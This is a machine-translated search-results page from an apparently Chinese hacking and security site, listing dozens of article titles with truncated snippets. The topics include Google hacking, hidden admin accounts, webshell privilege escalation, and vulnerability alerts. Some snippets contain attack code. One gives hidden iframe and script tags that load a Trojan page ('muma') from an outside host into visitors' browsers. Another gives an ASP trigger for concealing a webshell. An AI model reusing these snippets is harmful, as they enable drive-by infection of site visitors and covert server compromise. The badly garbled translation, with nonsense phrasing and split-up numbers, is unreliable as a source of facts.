7620 matches found
Use google to carry out penetration testing-vulnerability warning-the black bar safety net
Today we are penetration testers in the implementation of the attack before, often the first information-gathering, which is the vulnerability is confirmed and the final exploits, expanding the war fruit. Here we are now going to talk about is: One, use google to find is people who installed a ph...
Who control our browser-vulnerability warning-the black bar safety net
1 phenomenon? From about the beginning of this year, a lot of people will find, when browsing some websites, the address bar url will be somehow plus“? curtime=xxxxxxxxxx”is x is the number, and pop-up advertising window. A lot of people think this is the site your own pop-up advertising, also di...
Teach you in a mirroring system to copy the administrator account-vulnerability warning-the black bar safety net
Often see some people in the invasion of a Windows 2 0 0 0 or Windows NT after the grandly create an Administrator group of users, it seems that when the administrator is not present generally, today, even contrary to what even the previous of the mind, Share one similar to the RootKit thing, of...
Social engineering attack idea of the figure-vulnerability warning-the black bar safety net
!...
Beat the security system of the series of articles of the breakthrough card bar 6-vulnerability warning-the black bar safety net
Beat the Security System Series0before the statement Recently more and more feel this stage all kinds of security system design there are some shortcomings, not the various possible security threats into account, in Cever Hackers front can not do anything. In order to help all kinds of security...
Bait and switch in the image using an administrator account-vulnerability warning-the black bar safety net
Often see some people in the invasion of a Windows 2 0 0 0 or Windows NT after the grandly create an Administrator group of users, it seems that when the administrator is not present generally, today, even contrary to what even the previous of the mind, Share one similar to the RootKit thing, of...
Grep with web vulnerabilities mining+a WIN under the GREP Software-bug warning-the black bar safety net
a. The following grephttp://www.interlog.com/tcharron/grep.htmldoes not support the-r parameter,you can use the following format: grep-in "\include|require\" C:\test\. php C:\test\admin\. php You can also use cygwin ported to the grephttp://zhouzhen.eviloctal.org/Look.asp?LogID=814 b. A...
Really the dir-overflow-vulnerability warning-the black bar safety net
Just in CN. Tink there to see, ha ha, fun! I tried the following, screenshot as follows: ! /Article/UploadPic/2006-10/20061023103110897.jpg Windows Command Processor CMD.EXE Buffer Overflow Execute the following line in cmd.exe copy-paste.. tested on winxp sp2 fully patched on 2006/10/06/17. 5 6 ...
The preparation of the"invisible"Web App(in PHP, for example)-bug warning-the black bar safety net
This year the write things are is no power, dryly,we look at a thing good. Basically CGI scanners this includes the vast majority ofSQL injectiondetection tools, backend/upload/database scanner Are determined by the HTTP response code to determine, is 2 0 0, 4 0 4, 4 0 0 of these, believe that al...
Small ficus WIS vulnerability of supplementary articles and use article-vulnerability warning-the black bar safety net
: Yesterday I saw ALLyeSNO of this article, but always do not understand the original text that the meaning of the Until today...... Vulnerability found by : ALLyeSNO http://blog.csdn.net/freexploit/ WIS is a small ficus the development of the SQL vulnerability scanning tools WIS on the&character...
DeepFreeze freezing principle-vulnerability warning-the black bar safety net
DeepFreeze freezing point principle The freezing point of the Restore is to get the South Bridge chip of the I0 control, it is control the hard disk of the INT13 interrupt, almost all of the reduction software are relying on this implementation, when loaded right after driving,the freezing point...
Reverse thinking about the Google search URL and decryption-bug warning-the black bar safety net
Google each of the search sequences linked by a plurality of instruction parts, these instructions carry out their duties, constitute the full search results of“filter”. If we mastered the whole Google search URL in the configuration mode, it is possible to very easily feel free to create we need...
ASP database plug horse small conference-vulnerability warning-the black bar safety net
lake2 （ http://lake2.0x54.org ） With the development of technology, ASP database plug horse also is not what fresh stuff, believe you played this. Oh, and that you have not met insert the asp code is spaces apart case? i.e. insertion of each of the characters between the There are spaces for? Now...
On the QQ upgrade custom emoticons vulnerability-vulnerability warning-the black bar safety net
QQ2006 New Year Edition SP2 Fix Windows XP not playing MS04-0 2 8 overflow vulnerability patch case the presence of security issues QQ requires the upgrade How to use this? First, we have to make the picture of the Trojans! Tool a lot of their own to go to baidu to find! I have always advocated i...
Forged Cookies online movies free to watch-vulnerability warning-the black bar safety net
Today, the network of movie sites a lot, but many are for a fee, rarely there will be a free“lunch”waiting for everyone to go enjoy. But now many movie sites registered ordinary members, if not renewed, the remaining money will be for $ 0, This is simply not be able to watch movies, even if you a...
IE mhtml redirection vulnerability using the method-vulnerability warning-the black bar safety net
Article author: yunshuAtph4nt0m.org Information source: http://www.ph4nt0m.org This vulnerability is primarily an information leak, see http://secunia. com/advisories/1 9 7 3 8/specific description. In order to ensure client safety, the xmlhttp is not cross-domain access to information. But the I...
Trojan rampage beware of the QQ expression hidden behind the conspiracy-bug warning-the black bar safety net
Editor's note: I believe that QQ is the majority of users are very familiar with the chat tool. A considerable part of the friends for QQ custom emoticons very favorite, or even make your own personalized custom emoticons to share to everyone. But we enjoy a variety of personalized expression,...
By the PHP imap function to bypass safe mode and open_basedir restrictions vulnerability thought-the vulnerability of early warning-the black bar safety net
Last night in the green League saw this vulnerability announcement, 2 on 2 8, released, is imapopen of the module exists on the vulnerability, a local attacker could use this vulnerability to unauthorized traversal of the mail directory, illegal create, delete, playback command file. The most...
Breakthrough in the domestic encryption file lock software generic approach-vulnerability warning-the black bar safety net
Information source: evil octal information security team www.eviloctal.com） Article author: SunLionEST Remember I'm in the EST Forum hair turned a stick: Reprintthe encryption of the tragedy with caution on the market of folder encryption software...
Clever hack Windows XP login password Jane law-vulnerability and early warning-the black bar safety net
Back in 2 0 0 3-year Phase 1 of the micro computer published an article about cracking Windows XP login password articles, seriously speaking this is not crack, but by adding the user to another new user using Windows XP, the operation is slightly cumbersome. Recently the author in some forums...
Hang the page of the horse a couple of methods-vulnerability warning-the black bar safety net
One, the most simple are also the most effective iframe src=http://www.xxx.com/muma.html width=0 height=0/iframe Second, js hang horse script src=http://www. xxx. com/muma. js/script Third, the js modification encryption SCRIPT language="JScript. Encode" src=http://www. xxx. com/muma. txt/script...
SQL injection with ASP Trojan upload another idea-vulnerability warning-the black bar safety net
Article author: absolute zero Information source: rohu.com This article for have sa permissions to the sqlserver database, and cansql injectionsupport fso+asp Server SQL injection, how to upload Trojans, has been relatively headache thing, I here upload Trojan a another method. 1, theSQL...
AngelShell: let all the forward program to achieve the reverse connection application papers-the vulnerability warning-the black bar safety net
Nowserviceis almost entirely put in a hardware firewall, hard to penetrate, only to find that with a hardware Firewall, the party pooper! What TerminalService, what Radmin and the like in a controlled manner do not even think. Tried, found that almost all support reverse connection, the forward...
WEBSHELL hidden-vulnerability warning-the black bar safety net
1 % if request"shell"="dongxie" then % % end if % Inadded at your shell code Access when you do the hands and feet of the ASP files back plus? shell=dongxie For example:www. dongxie. cn/index. asp? action=dongxie You can tune out the webshell, does not affect the normal browsing. 2 The script is...
Baidu VS Google-who is more powerful-bug warning-the black bar safety net
Remember once used Baidu to find the asp back door in the process! google, well known, famous world-class web search engine, and today, they worship in our domestic Baidu's feet, what it??? Don't believe that?? Don't believe it tell I see it! This was thanks to the cat the cat provides much...
Very classic webshell to mention the right-vulnerability warning-the black bar safety net
Said to have spent nine cattle II Tiger of effort to get a webshell, the Of course, also want to continue to receive full server admin rights, as don't want to give the admin The not a good hacker to HEE HEE to better come with me, see what you can use to elevate privileges The first If the serve...
Clever break Tegoweb-vulnerability warning-the black bar safety net
Author: wind ze E. S. T Properties: the original posting of the articleThe X-Files 2 0 0 5 年 2 months Tegoweb this software in the X-Files have been introduced, so its features have a certain understanding, just recently need to use this software, so it from the disc will drag it out, install it,...
Newcomers scratch contact of hacking knowledge learning method-vulnerability warning-the black bar safety net
P today, there are many people ask me:“I read your article, but I'm new, Is there any learning method?” My answer is;“of course there Ah, but people and people are different, the method is their summary out, and my previous articles the noun are the same as me in learning based on their own...
Fan your face for 20! Apple system macOS High Sierra（10.13 announced before the release of the again exposed oday vulnerability flaws bug-a vulnerability warning-the black bar safety net
In Apple's estimation of 9 on 25 September the launch of its desktop and notebook computers the latest version of the manipulation of the system-macOS High Sierra（10.13 the previous several hours, a network security seminar staff announced on Twitter a video showing him in the macOS High Sierra...
The Intel processor is now a security vulnerability: it can be used by hackers as a backdoor-a vulnerability warning-the black bar safety net
Recently, in Moscow security research Positive Technologies report notes that the Intel Management Engine 11 There is the death of button, can be used by hackers to steal. Management Engine Management Engine is Intel a Firmware Interface for processors and peripheral chip for communication, therm...
The WireX Botnet warning Bulletin-vulnerability warning-the black bar safety net
2017 8 May 17, named WireX BotNet the botnet by masquerading ordinary Android applications the way a large number of infected Android devices and launched a large-scaleDDoSattack, this caused a portion of the CDN provider's note, and thereafter from Akamai, Cloudflare, Dragon Age, Google, Oracle...
Simple buffer overflow analysis-vulnerability warning-the black bar safety net
Foreword This article will detail how to find a simple buffer overflow vulnerabilities and how they are ultimately attacks service get a bounce the shell. There are many of the disclosed vulnerabilities can be used as examples herein, but today I in the exploit-db found on the PCMan's FTP Server...
UCloud-2 0 1 6 1 0-0 0 1: kernel‘Dirty Cow’to mention the right vulnerability Security Alert-vulnerability warning-the black bar safety net
The Linux kernel recently the outbreak of the’Dirty Cow’Vulnerability, CVE-2 0 1 6-5 1 9 5, can lead to a low-rights user to achieve the local extraction rights. Please check you are using the kernel is in the affected range, and timely upgrades. The scope of the impact Linux kernel =2.6.22...
The CISCO Nexus series switches release critical patch update-bug warning-the black bar safety net
! Cisco recently released a batch of patches, mainly for the CISCO Nexus 7 0 0 0 series switch with Nexus OS software. Nexus OTV（overlay transport virtualization）buffer overflow vulnerability According to the recent Cisco security Bulletin, Nexus 7 0 0 0 and the Nexus 7 7 0 0 series switches exis...
D-Link DWR-932B LTE router found multiple Backdoor-vulnerability warning-the black bar safety net
! If you have a similar to the DWR-9 3 2 B LTE D-Link router, don't wait for it to slow a firmware upgrade, or directly to give it is better. Allegedly the D-Link DWR-9 3 2 B LTE has more than 2 0 at risk, including Backdoor accounts, the default certificate, leakage of certificate, the firmware...
Tomcat service local mention the right vulnerability alerts-a vulnerability alert-the black bar safety net
Tomcat is by Apache Software Foundation subordinate's Jakarta a project development Servlet vessel, in accordance with Sun Microsystems to provide the technical specifications, the realization of the Servlet and JavaServer Page（JSP）support, and provides as aWeb serversome unique functions, like...
kill. exe overflow vulnerability analysis and EXP discussion-vulnerability warning-the black bar safety net
1. Foreword A few days ago, the author at exploit-db and found a kill. exe overflow vulnerability, in many of the UAF vulnerability, this simple overflow vulnerability simply as a unit of springs in General, then be picked out, deeply looked. The original plan to write a full available EXP, but...
OpenSSL The to 9, on 2 2 may publish multiple bug fixes-vulnerability warning-the black bar safety net
Vulnerability warning The OpenSSL project group on Monday announced in Beijing 9 May 2 2, 1 6 When to release a new version of the update, the update contents include: repairing self-2 0 1 6 years of 5 months of security vulnerabilities, including a high-risk vulnerability. OpenSSL 1.1.0 a, 1.0. ...
Within ten seconds of black off the Facebook home page? This vulnerability turned out to the value 1. 6 million dollars including vulnerability analysis-vulnerability warning-the black bar safety net
! How to black out your Facebook for? The man from India safe studies experts say have something to say. According to the foreign media to the latest reports, a man named ArunSureshkumar of India security experts at Facebook“Business Management Platform”for BusinessManager found a serious...
DedeCms use Csrf to create a file with the Execute sql statement getshell process with ideas-vulnerability warning-the black bar safety net
I from spring and autumn author: Szdny 00x01 ver. txt version 2 0 1 6 0 8 1 6 Due to the XAl3r submitted a patch day, so the latest version has been can not reproduce, so I specifically asked him to be a previous version of over to write this article ! Here is the Csrf trigger point, we create a...
Sundown EK: vulnerability to use the tool in copying the masters-vulnerability warning-the black bar safety net
! Description Sundown is currently on the market the latest exploit tool, and the Sundown of the author also successfully proved himself is actually a plagiarism masters. Don't know this“borrow chickens lay eggs”thing was after exposure, and the user will buy his single? Recently, due to the Angl...
Ocean CMS V6. 2 8 command execution 0DAY-vulnerability warning-the black bar safety net
t00ls a friend fuzz out of a 0day, but the analysis does not come out what's the problem, I analyze a bit. I is how to track this 0day? In fact, as long as the chase area parameters of the treated place. After a character is an illegal judgment, call echoSearchPage function area parameters after...
Many models were found in the presence of a smartphone connected to vulnerability-vulnerability warning-the black bar safety net
Most of the current on-sale models are equipped with some untold Secret. These prototype software function although it is disabled by default, but the malicious person was able to find it to unlock it. ! As the industry's first comprehensive safety analysis conclusions, NYU Tandon College of...
On the iOS system“Trident”vulnerability briefings-vulnerability warning-the black bar safety net
! Recently, on the Internet to disclose about the iOS operating system there is“Trident”vulnerability, CNNVD-2 0 1 6 0 8-4 6 0, the CNNVD-2 0 1 6 0 8-4 6 1, THE CNNVD-2 0 1 6 0 8-4 6 2. 8 on 1 5 December, by the Canadian citizen lab the Citizen Lab and the U.S. Lookout mobile security companies...
Cloud Security Series: 360GearTeam again found QEMU multiple vulnerabilities-vulnerability warning-the black bar safety net
! 2 0 1 6 years and 8 months or so, the odd Tiger 3 6 0 to the QEMU official report a number of QEMU vulnerabilities in. They allow an attacker to attack a virtual machine or the host machine itself, causing a denial of service or arbitrary code execution. 360GearTeamoriginal 3 6 0 cloud security...
CNNVD: on the Zabbix vulnerability briefings-vulnerability warning-the black bar safety net
! Recently, on the Internet to disclose about Zabbix, there are two at the based on error echoSQl injectionvulnerabilities CNNVD-2 0 1 6 0 8-3 4 0, the CNNVD-2 0 1 6 0 8-3 4 1. The vulnerability is due to zabbix by default guest permissions to their account and the default password is empty, the...
Apple OSX WindowServer: heap overflow vulnerability lead to mention the right vulnerability-vulnerability warning-the black bar safety net
! CVE ID CVE-2 0 1 6-4 6 4 0 The CVSS Score 4.4, AV:L/AC:M/Au:N/C:P/I:P/A:P The affected supplier Apple The affected products OSX Vulnerability details This vulnerability allows a remote attacker is able to in easy to install Apple OSX on the execution of arbitrary code. Exploitation of this...
BMW connected car storage 2 items could be used by hackers to steal the vehicle-vulnerability warning-the black bar safety net
According to the American automotive news website autoevolution reports, the BMW ConnectedDrive portal there are two“zero-day exploit”that could be used by hackers to control the multimedia device associated with the vehicle settings. ! BMW connected car storage 2 items could be used by hackers t...
Mitsubishi Outlander mixing vehicles storage security breaches-hacking-vulnerability warning-the black bar safety net
According to the BBC 6 on 6 reported, the researchers found that the Mitsubishi Outlander hybrid vehicle Wi-Fi there is a security vulnerability, easy hacking, and turn off the vehicle alarm system. This means that criminals could exploit the vulnerability into the vehicle or steal the vehicle, o...
Support drag-and-drop“click-hijacking vulnerability in”using the tools: CJExploiter-vulnerability warning-the black bar safety net
CJExploiter is a support drag-and-drop Clickjacking vulnerability using an auxiliary tool. First, in the local use browser to open“index.html”, enter the target URL and click on“View Site”to. You can customize the JS, and finally click on the“Exploit it”, you will be able to get the POC. !...